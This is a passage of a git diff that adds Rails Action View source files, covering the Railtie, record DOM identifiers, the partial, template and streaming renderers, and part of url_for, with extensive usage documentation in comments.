+ end
+ end
+end
diff --git a/actionpack/lib/action_view/railtie.rb b/actionpack/lib/action_view/railtie.rb
new file mode 100644
index 0000000..e80e0ed
--- /dev/null
+++ b/actionpack/lib/action_view/railtie.rb
@@ -0,0 +1,39 @@
+require "action_view"
+require "rails"
+
+module ActionView
+ # = Action View Railtie
+ class Railtie < Rails::Railtie # :nodoc:
+ config.action_view = ActiveSupport::OrderedOptions.new
+ config.action_view.embed_authenticity_token_in_remote_forms = false
+
+ config.eager_load_namespaces << ActionView
+
+ initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
+ ActiveSupport.on_load(:action_view) do
+ ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
+ app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
+ end
+ end
+
+ initializer "action_view.logger" do
+ ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
+ end
+
+ initializer "action_view.set_configs" do |app|
+ ActiveSupport.on_load(:action_view) do
+ app.config.action_view.each do |k,v|
+ send "#{k}=", v
+ end
+ end
+ end
+
+ initializer "action_view.caching" do |app|
+ ActiveSupport.on_load(:action_view) do
+ if app.config.action_view.cache_template_loading.nil?
+ ActionView::Resolver.caching = app.config.cache_classes
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/record_identifier.rb b/actionpack/lib/action_view/record_identifier.rb
new file mode 100644
index 0000000..63f6454
--- /dev/null
+++ b/actionpack/lib/action_view/record_identifier.rb
@@ -0,0 +1,84 @@
+require 'active_support/core_ext/module'
+require 'action_view/model_naming'
+
+module ActionView
+ # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
+ # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
+ # a higher logical level.
+ #
+ # # routes
+ # resources :posts
+ #
+ # # view
+ # <%= div_for(post) do %> <div id="post_45" class="post">
+ # <%= post.body %> What a wonderful world!
+ # <% end %> </div>
+ #
+ # # controller
+ # def update
+ # post = Post.find(params[:id])
+ # post.update(params[:post])
+ #
+ # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
+ # end
+ #
+ # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
+ # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
+ # same naming convention and allows you to write less code if you follow it.
+ module RecordIdentifier
+ extend self
+ extend ModelNaming
+
+ include ModelNaming
+
+ JOIN = '_'.freeze
+ NEW = 'new'.freeze
+
+ # The DOM class convention is to use the singular form of an object or class.
+ #
+ # dom_class(post) # => "post"
+ # dom_class(Person) # => "person"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
+ #
+ # dom_class(post, :edit) # => "edit_post"
+ # dom_class(Person, :edit) # => "edit_person"
+ def dom_class(record_or_class, prefix = nil)
+ singular = model_name_from_record_or_class(record_or_class).param_key
+ prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+ end
+
+ # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
+ # If no id is found, prefix with "new_" instead.
+ #
+ # dom_id(Post.find(45)) # => "post_45"
+ # dom_id(Post.new) # => "new_post"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
+ #
+ # dom_id(Post.find(45), :edit) # => "edit_post_45"
+ # dom_id(Post.new, :custom) # => "custom_post"
+ def dom_id(record, prefix = nil)
+ if record_id = record_key_for_dom_id(record)
+ "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+ else
+ dom_class(record, prefix || NEW)
+ end
+ end
+
+ protected
+
+ # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
+ # This can be overwritten to customize the default generated string representation if desired.
+ # If you need to read back a key from a dom_id in order to query for the underlying database record,
+ # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
+ # on the default implementation (which just joins all key attributes with '_') or on your own
+ # overwritten version of the method. By default, this implementation passes the key string through a
+ # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
+ # make sure yourself that your dom ids are valid, in case you overwrite this method.
+ def record_key_for_dom_id(record)
+ key = convert_to_model(record).to_key
+ key ? key.join('_') : key
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb
new file mode 100644
index 0000000..73c19a0
--- /dev/null
+++ b/actionpack/lib/action_view/renderer/abstract_renderer.rb
@@ -0,0 +1,47 @@
+module ActionView
+ # This class defines the interface for a renderer. Each class that
+ # subclasses +AbstractRenderer+ is used by the base +Renderer+ class to
+ # render a specific type of object.
+ #
+ # The base +Renderer+ class uses its +render+ method to delegate to the
+ # renderers. These currently consist of
+ #
+ # PartialRenderer - Used for rendering partials
+ # TemplateRenderer - Used for rendering other types of templates
+ # StreamingTemplateRenderer - Used for streaming
+ #
+ # Whenever the +render+ method is called on the base +Renderer+ class, a new
+ # renderer object of the correct type is created, and the +render+ method on
+ # that new object is called in turn. This abstracts the setup and rendering
+ # into a separate classes for partials and templates.
+ class AbstractRenderer #:nodoc:
+ delegate :find_template, :template_exists?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context
+
+ def initialize(lookup_context)
+ @lookup_context = lookup_context
+ end
+
+ def render
+ raise NotImplementedError
+ end
+
+ protected
+
+ def extract_details(options)
+ @lookup_context.registered_details.each_with_object({}) do |key, details|
+ next unless value = options[key]
+ details[key] = Array(value)
+ end
+ end
+
+ def instrument(name, options={})
+ ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield }
+ end
+
+ def prepend_formats(formats)
+ formats = Array(formats)
+ return if formats.empty? || @lookup_context.html_fallback_for_js
+ @lookup_context.formats = formats | @lookup_context.formats
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb
new file mode 100644
index 0000000..8210262
--- /dev/null
+++ b/actionpack/lib/action_view/renderer/partial_renderer.rb
@@ -0,0 +1,492 @@
+require 'thread_safe'
+
+module ActionView
+ # = Action View Partials
+ #
+ # There's also a convenience method for rendering sub templates within the current controller that depends on a
+ # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+ # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+ # templates that could be rendered on their own.
+ #
+ # In a template for Advertiser#account:
+ #
+ # <%= render partial: "account" %>
+ #
+ # This would render "advertiser/_account.html.erb".
+ #
+ # In another template for Advertiser#buy, we could have:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # <% @advertisements.each do |ad| %>
+ # <%= render partial: "ad", locals: { ad: ad } %>
+ # <% end %>
+ #
+ # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
+ # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+ #
+ # == The :as and :object options
+ #
+ # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+ # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
+ #
+ # <%= render partial: "account", object: @buyer %>
+ #
+ # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
+ # equivalent to:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
+ # wanted it to be +user+ instead of +account+ we'd do:
+ #
+ # <%= render partial: "account", object: @buyer, as: 'user' %>
+ #
+ # This is equivalent to
+ #
+ # <%= render partial: "account", locals: { user: @buyer } %>
+ #
+ # == Rendering a collection of partials
+ #
+ # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+ # render a sub template for each of the elements. This pattern has been implemented as a single method that
+ # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+ # example in "Using partials" can be rewritten with a single line:
+ #
+ # <%= render partial: "ad", collection: @advertisements %>
+ #
+ # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+ # iteration counter will automatically be made available to the template with a name of the form
+ # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
+ #
+ # The <tt>:as</tt> option may be used when rendering partials.
+ #
+ # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
+ # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
+ #
+ # <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+ #
+ # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
+ # to specify a text which will displayed instead by using this form:
+ #
+ # <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+ #
+ # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+ # just keep domain objects, like Active Records, in there.
+ #
+ # == Rendering shared partials
+ #
+ # Two controllers can share a set of partials and render them like this:
+ #
+ # <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+ #
+ # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+ #
+ # == Rendering objects that respond to `to_partial_path`
+ #
+ # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+ # and pick the proper path by checking `to_partial_path` method.
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render partial: @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render partial: @posts %>
+ #
+ # == Rendering the default case
+ #
+ # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+ # defaults of render to render partials. Examples:
+ #
+ # # Instead of <%= render partial: "account" %>
+ # <%= render "account" %>
+ #
+ # # Instead of <%= render partial: "account", locals: { account: @buyer } %>
+ # <%= render "account", account: @buyer %>
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render @posts %>
+ #
+ # == Rendering partials with layouts
+ #
+ # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+ # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+ # of users:
+ #
+ # <%# app/views/users/index.html.erb &>
+ # Here's the administrator:
+ # <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+ #
+ # Here's the editor:
+ # <%= render partial: "user", layout: "editor", locals: { user: editor } %>
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/_administrator.html.erb &>
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # <%= yield %>
+ # </div>
+ #
+ # <%# app/views/users/_editor.html.erb &>
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # <%= yield %>
+ # </div>
+ #
+ # ...this will return:
+ #
+ # Here's the administrator:
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # Here's the editor:
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # If a collection is given, the layout will be rendered once for each item in
+ # the collection. Just think these two snippets have the same output:
+ #
+ # <%# app/views/users/_user.html.erb %>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <%# This does not use layouts %>
+ # <ul>
+ # <% users.each do |user| -%>
+ # <li>
+ # <%= render partial: "user", locals: { user: user } %>
+ # </li>
+ # <% end -%>
+ # </ul>
+ #
+ # <%# app/views/users/_li_layout.html.erb %>
+ # <li>
+ # <%= yield %>
+ # </li>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <ul>
+ # <%= render partial: "user", layout: "li_layout", collection: users %>
+ # </ul>
+ #
+ # Given two users whose names are Alice and Bob, these snippets return:
+ #
+ # <ul>
+ # <li>
+ # Name: Alice
+ # </li>
+ # <li>
+ # Name: Bob
+ # </li>
+ # </ul>
+ #
+ # The current object being rendered, as well as the object_counter, will be
+ # available as local variables inside the layout template under the same names
+ # as available in the partial.
+ #
+ # You can also apply a layout to a block within any template:
+ #
+ # <%# app/views/users/_chief.html.erb &>
+ # <%= render(layout: "administrator", locals: { user: chief }) do %>
+ # Title: <%= chief.title %>
+ # <% end %>
+ #
+ # ...this will return:
+ #
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Title: <%= chief.name %>
+ # </div>
+ #
+ # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+ #
+ # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+ # an array to layout and treat it as an enumerable.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # Budget: $<%= user.budget %>
+ # <%= yield user %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user| %>
+ # Title: <%= user.title %>
+ # <% end %>
+ #
+ # This will render the layout for each user and yield to the block, passing the user, each time.
+ #
+ # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # <%= yield user, :header %>
+ # Budget: $<%= user.budget %>
+ # <%= yield user, :footer %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user, section| %>
+ # <%- case section when :header -%>
+ # Title: <%= user.title %>
+ # <%- when :footer -%>
+ # Deadline: <%= user.deadline %>
+ # <%- end -%>
+ # <% end %>
+ class PartialRenderer < AbstractRenderer
+ PREFIXED_PARTIAL_NAMES = ThreadSafe::Cache.new do |h, k|
+ h[k] = ThreadSafe::Cache.new
+ end
+
+ def initialize(*)
+ super
+ @context_prefix = @lookup_context.prefixes.first
+ end
+
+ def render(context, options, block)
+ setup(context, options, block)
+ identifier = (@template = find_partial) ? @template.identifier : @path
+
+ @lookup_context.rendered_format ||= begin
+ if @template && @template.formats.present?
+ @template.formats.first
+ else
+ formats.first
+ end
+ end
+
+ if @collection
+ instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
+ render_collection
+ end
+ else
+ instrument(:partial, :identifier => identifier) do
+ render_partial
+ end
+ end
+ end
+
+ def render_collection
+ return nil if @collection.blank?
+
+ if @options.key?(:spacer_template)
+ spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
+ end
+
+ result = @template ? collection_with_template : collection_without_template
+ result.join(spacer).html_safe
+ end
+
+ def render_partial
+ view, locals, block = @view, @locals, @block
+ object, as = @object, @variable
+
+ if !block && (layout = @options[:layout])
+ layout = find_template(layout.to_s, @template_keys)
+ end
+
+ object ||= locals[as]
+ locals[as] = object
+
+ content = @template.render(view, locals) do |*name|
+ view._layout_for(*name, &block)
+ end
+
+ content = layout.render(view, locals){ content } if layout
+ content
+ end
+
+ private
+
+ # Sets up instance variables needed for rendering a partial. This method
+ # finds the options and details and extracts them. The method also contains
+ # logic that handles the type of object passed in as the partial.
+ #
+ # If +options[:partial]+ is a string, then the + at path+ instance variable is
+ # set to that string. Otherwise, the +options[:partial]+ object must
+ # respond to +to_partial_path+ in order to setup the path.
+ def setup(context, options, block)
+ @view = context
+ partial = options[:partial]
+
+ @options = options
+ @locals = options[:locals] || {}
+ @block = block
+ @details = extract_details(options)
+
+ prepend_formats(options[:formats])
+
+ if String === partial
+ @object = options[:object]
+ @path = partial
+ @collection = collection
+ else
+ @object = partial
+
+ if @collection = collection_from_object || collection
+ paths = @collection_data = @collection.map { |o| partial_path(o) }
+ @path = paths.uniq.size == 1 ? paths.first : nil
+ else
+ @path = partial_path
+ end
+ end
+
+ if as = options[:as]
+ raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
+ as = as.to_sym
+ end
+
+ if @path
+ @variable, @variable_counter = retrieve_variable(@path, as)
+ @template_keys = retrieve_template_keys
+ else
+ paths.map! { |path| retrieve_variable(path, as).unshift(path) }
+ end
+
+ self
+ end
+
+ def collection
+ if @options.key?(:collection)
+ collection = @options[:collection]
+ collection.respond_to?(:to_ary) ? collection.to_ary : []
+ end
+ end
+
+ def collection_from_object
+ @object.to_ary if @object.respond_to?(:to_ary)
+ end
+
+ def find_partial
+ if path = @path
+ find_template(path, @template_keys)
+ end
+ end
+
+ def find_template(path, locals)
+ prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
+ @lookup_context.find_template(path, prefixes, true, locals, @details)
+ end
+
+ def collection_with_template
+ view, locals, template = @view, @locals, @template
+ as, counter = @variable, @variable_counter
+
+ if layout = @options[:layout]
+ layout = find_template(layout, @template_keys)
+ end
+
+ index = -1
+ @collection.map do |object|
+ locals[as] = object
+ locals[counter] = (index += 1)
+
+ content = template.render(view, locals)
+ content = layout.render(view, locals) { content } if layout
+ content
+ end
+ end
+
+ def collection_without_template
+ view, locals, collection_data = @view, @locals, @collection_data
+ cache = {}
+ keys = @locals.keys
+
+ index = -1
+ @collection.map do |object|
+ index += 1
+ path, as, counter = collection_data[index]
+
+ locals[as] = object
+ locals[counter] = index
+
+ template = (cache[path] ||= find_template(path, keys + [as, counter]))
+ template.render(view, locals)
+ end
+ end
+
+ # Obtains the path to where the object's partial is located. If the object
+ # responds to +to_partial_path+, then +to_partial_path+ will be called and
+ # will provide the path. If the object does not respond to +to_partial_path+,
+ # then an +ArgumentError+ is raised.
+ #
+ # If +prefix_partial_path_with_controller_namespace+ is true, then this
+ # method will prefix the partial paths with a namespace.
+ def partial_path(object = @object)
+ object = object.to_model if object.respond_to?(:to_model)
+
+ path = if object.respond_to?(:to_partial_path)
+ object.to_partial_path
+ else
+ raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
+ end
+
+ if @view.prefix_partial_path_with_controller_namespace
+ prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+ else
+ path
+ end
+ end
+
+ def prefixed_partial_names
+ @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
+ end
+
+ def merge_prefix_into_object_path(prefix, object_path)
+ if prefix.include?(?/) && object_path.include?(?/)
+ prefixes = []
+ prefix_array = File.dirname(prefix).split('/')
+ object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
+
+ prefix_array.each_with_index do |dir, index|
+ break if dir == object_path_array[index]
+ prefixes << dir
+ end
+
+ (prefixes << object_path).join("/")
+ else
+ object_path
+ end
+ end
+
+ def retrieve_template_keys
+ keys = @locals.keys
+ keys << @variable if @object || @collection
+ keys << @variable_counter if @collection
+ keys
+ end
+
+ def retrieve_variable(path, as)
+ variable = as || begin
+ base = path[-1] == "/" ? "" : File.basename(path)
+ raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
+ $1.to_sym
+ end
+ variable_counter = :"#{variable}_counter" if @collection
+ [variable, variable_counter]
+ end
+
+ IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores."
+
+ def raise_invalid_identifier(path)
+ raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/renderer.rb b/actionpack/lib/action_view/renderer/renderer.rb
new file mode 100644
index 0000000..964b183
--- /dev/null
+++ b/actionpack/lib/action_view/renderer/renderer.rb
@@ -0,0 +1,50 @@
+module ActionView
+ # This is the main entry point for rendering. It basically delegates
+ # to other objects like TemplateRenderer and PartialRenderer which
+ # actually renders the template.
+ #
+ # The Renderer will parse the options from the +render+ or +render_body+
+ # method and render a partial or a template based on the options. The
+ # +TemplateRenderer+ and +PartialRenderer+ objects are wrappers which do all
+ # the setup and logic necessary to render a view and a new object is created
+ # each time +render+ is called.
+ class Renderer
+ attr_accessor :lookup_context
+
+ def initialize(lookup_context)
+ @lookup_context = lookup_context
+ end
+
+ # Main render entry point shared by AV and AC.
+ def render(context, options)
+ if options.key?(:partial)
+ render_partial(context, options)
+ else
+ render_template(context, options)
+ end
+ end
+
+ # Render but returns a valid Rack body. If fibers are defined, we return
+ # a streaming body that renders the template piece by piece.
+ #
+ # Note that partials are not supported to be rendered with streaming,
+ # so in such cases, we just wrap them in an array.
+ def render_body(context, options)
+ if options.key?(:partial)
+ [render_partial(context, options)]
+ else
+ StreamingTemplateRenderer.new(@lookup_context).render(context, options)
+ end
+ end
+
+ # Direct accessor to template rendering.
+ def render_template(context, options) #:nodoc:
+ TemplateRenderer.new(@lookup_context).render(context, options)
+ end
+
+ # Direct access to partial rendering.
+ def render_partial(context, options, &block) #:nodoc:
+ PartialRenderer.new(@lookup_context).render(context, options, block)
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
new file mode 100644
index 0000000..9cf6eb0
--- /dev/null
+++ b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
@@ -0,0 +1,103 @@
+require 'fiber'
+
+module ActionView
+ # == TODO
+ #
+ # * Support streaming from child templates, partials and so on.
+ # * Integrate exceptions with exceptron
+ # * Rack::Cache needs to support streaming bodies
+ class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
+ # A valid Rack::Body (i.e. it responds to each).
+ # It is initialized with a block that, when called, starts
+ # rendering the template.
+ class Body #:nodoc:
+ def initialize(&start)
+ @start = start
+ end
+
+ def each(&block)
+ begin
+ @start.call(block)
+ rescue Exception => exception
+ log_error(exception)
+ block.call ActionView::Base.streaming_completion_on_exception
+ end
+ self
+ end
+
+ private
+
+ # This is the same logging logic as in ShowExceptions middleware.
+ # TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
+ def log_error(exception) #:nodoc:
+ logger = ActionView::Base.logger
+ return unless logger
+
+ message = "\n#{exception.class} (#{exception.message}):\n"
+ message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+ message << " " << exception.backtrace.join("\n ")
+ logger.fatal("#{message}\n\n")
+ end
+ end
+
+ # For streaming, instead of rendering a given a template, we return a Body
+ # object that responds to each. This object is initialized with a block
+ # that knows how to render the template.
+ def render_template(template, layout_name = nil, locals = {}) #:nodoc:
+ return [super] unless layout_name && template.supports_streaming?
+
+ locals ||= {}
+ layout = layout_name && find_layout(layout_name, locals.keys)
+
+ Body.new do |buffer|
+ delayed_render(buffer, template, layout, @view, locals)
+ end
+ end
+
+ private
+
+ def delayed_render(buffer, template, layout, view, locals)
+ # Wrap the given buffer in the StreamingBuffer and pass it to the
+ # underlying template handler. Now, everytime something is concatenated
+ # to the buffer, it is not appended to an array, but streamed straight
+ # to the client.
+ output = ActionView::StreamingBuffer.new(buffer)
+ yielder = lambda { |*name| view._layout_for(*name) }
+
+ instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+ fiber = Fiber.new do
+ if layout
+ layout.render(view, locals, output, &yielder)
+ else
+ # If you don't have a layout, just render the thing
+ # and concatenate the final result. This is the same
+ # as a layout with just <%= yield %>
+ output.safe_concat view._layout_for
+ end
+ end
+
+ # Set the view flow to support streaming. It will be aware
+ # when to stop rendering the layout because it needs to search
+ # something in the template and vice-versa.
+ view.view_flow = StreamingFlow.new(view, fiber)
+
+ # Yo! Start the fiber!
+ fiber.resume
+
+ # If the fiber is still alive, it means we need something
+ # from the template, so start rendering it. If not, it means
+ # the layout exited without requiring anything from the template.
+ if fiber.alive?
+ content = template.render(view, locals, &yielder)
+
+ # Once rendering the template is done, sets its content in the :layout key.
+ view.view_flow.set(:layout, content)
+
+ # In case the layout continues yielding, we need to resume
+ # the fiber until all yields are handled.
+ fiber.resume while fiber.alive?
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb
new file mode 100644
index 0000000..4d5c5db
--- /dev/null
+++ b/actionpack/lib/action_view/renderer/template_renderer.rb
@@ -0,0 +1,96 @@
+require 'active_support/core_ext/object/try'
+
+module ActionView
+ class TemplateRenderer < AbstractRenderer #:nodoc:
+ def render(context, options)
+ @view = context
+ @details = extract_details(options)
+ template = determine_template(options)
+ context = @lookup_context
+
+ prepend_formats(template.formats)
+
+ unless context.rendered_format
+ context.rendered_format = template.formats.first || formats.last
+ end
+
+ render_template(template, options[:layout], options[:locals])
+ end
+
+ # Determine the template to be rendered using the given options.
+ def determine_template(options) #:nodoc:
+ keys = options.fetch(:locals, {}).keys
+
+ if options.key?(:text)
+ Template::Text.new(options[:text], formats.first)
+ elsif options.key?(:file)
+ with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
+ elsif options.key?(:inline)
+ handler = Template.handler_for_extension(options[:type] || "erb")
+ Template.new(options[:inline], "inline template", handler, :locals => keys)
+ elsif options.key?(:template)
+ if options[:template].respond_to?(:render)
+ options[:template]
+ else
+ find_template(options[:template], options[:prefixes], false, keys, @details)
+ end
+ else
+ raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
+ end
+ end
+
+ # Renders the given template. A string representing the layout can be
+ # supplied as well.
+ def render_template(template, layout_name = nil, locals = nil) #:nodoc:
+ view, locals = @view, locals || {}
+
+ render_with_layout(layout_name, locals) do |layout|
+ instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+ template.render(view, locals) { |*name| view._layout_for(*name) }
+ end
+ end
+ end
+
+ def render_with_layout(path, locals) #:nodoc:
+ layout = path && find_layout(path, locals.keys)
+ content = yield(layout)
+
+ if layout
+ view = @view
+ view.view_flow.set(:layout, content)
+ layout.render(view, locals){ |*name| view._layout_for(*name) }
+ else
+ content
+ end
+ end
+
+ # This is the method which actually finds the layout using details in the lookup
+ # context object. If no layout is found, it checks if at least a layout with
+ # the given name exists across all details before raising the error.
+ def find_layout(layout, keys)
+ with_layout_format { resolve_layout(layout, keys) }
+ end
+
+ def resolve_layout(layout, keys)
+ case layout
+ when String
+ begin
+ if layout =~ /^\//
+ with_fallbacks { find_template(layout, nil, false, keys, @details) }
+ else
+ find_template(layout, nil, false, keys, @details)
+ end
+ rescue ActionView::MissingTemplate
+ all_details = @details.merge(:formats => @lookup_context.default_formats)
+ raise unless template_exists?(layout, nil, false, keys, all_details)
+ end
+ when Proc
+ resolve_layout(layout.call, keys)
+ when FalseClass
+ nil
+ else
+ layout
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/routing_url_for.rb b/actionpack/lib/action_view/routing_url_for.rb
new file mode 100644
index 0000000..f10e7e8
--- /dev/null
+++ b/actionpack/lib/action_view/routing_url_for.rb
@@ -0,0 +1,107 @@
+module ActionView
+ module RoutingUrlFor
+
+ # Returns the URL for the set of +options+ provided. This takes the
+ # same options as +url_for+ in Action Controller (see the
+ # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
+ # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
+ # instead of the fully qualified URL like "http://example.com/controller/action".
+ #
+ # ==== Options
+ # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+ # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+ # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+ # is currently not recommended since it breaks caching.
+ # * <tt>:host</tt> - Overrides the default (current) host if provided.
+ # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+ # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+ # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+ #
+ # ==== Relying on named routes
+ #
+ # Passing a record (like an Active Record) instead of a hash as the options parameter will
+ # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
+ # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
+ # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
+ #
+ # ==== Implicit Controller Namespacing
+ #
+ # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+ #
+ # ==== Examples
+ # <%= url_for(action: 'index') %>
+ # # => /blog/
+ #
+ # <%= url_for(action: 'find', controller: 'books') %>
+ # # => /books/find
+ #
+ # <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
+ # # => https://www.example.com/members/login/
+ #
+ # <%= url_for(action: 'play', anchor: 'player') %>
+ # # => /messages/play/#player
+ #
+ # <%= url_for(action: 'jump', anchor: 'tax&ship') %>
+ # # => /testing/jump/#tax&ship
+ #
+ # <%= url_for(Workshop.new) %>
+ # # relies on Workshop answering a persisted? call (and in this case returning false)
+ # # => /workshops
+ #
+ # <%= url_for(@workshop) %>
+ # # calls @workshop.to_param which by default returns the id
+ # # => /workshops/5
+ #
+ # # to_param can be re-defined in a model to provide different URL names:
+ # # => /workshops/1-workshop-name
+ #
+ # <%= url_for("http://www.example.com") %>
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+ # # => http://www.example.com
+ #
+ # <%= url_for(:back) %>
+ # # if request.env["HTTP_REFERER"] is not set or is blank
+ # # => javascript:history.back()
+ #
+ # <%= url_for(action: 'index', controller: 'users') %>
+ # # Assuming an "admin" namespace
+ # # => /admin/users
+ #
+ # <%= url_for(action: 'index', controller: '/users') %>
+ # # Specify absolute path with beginning slash
+ # # => /users
+ def url_for(options = nil)
+ case options
+ when String
+ options
+ when nil, Hash
+ options ||= {}
+ options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
+ super
+ when :back
+ _back_url
+ else
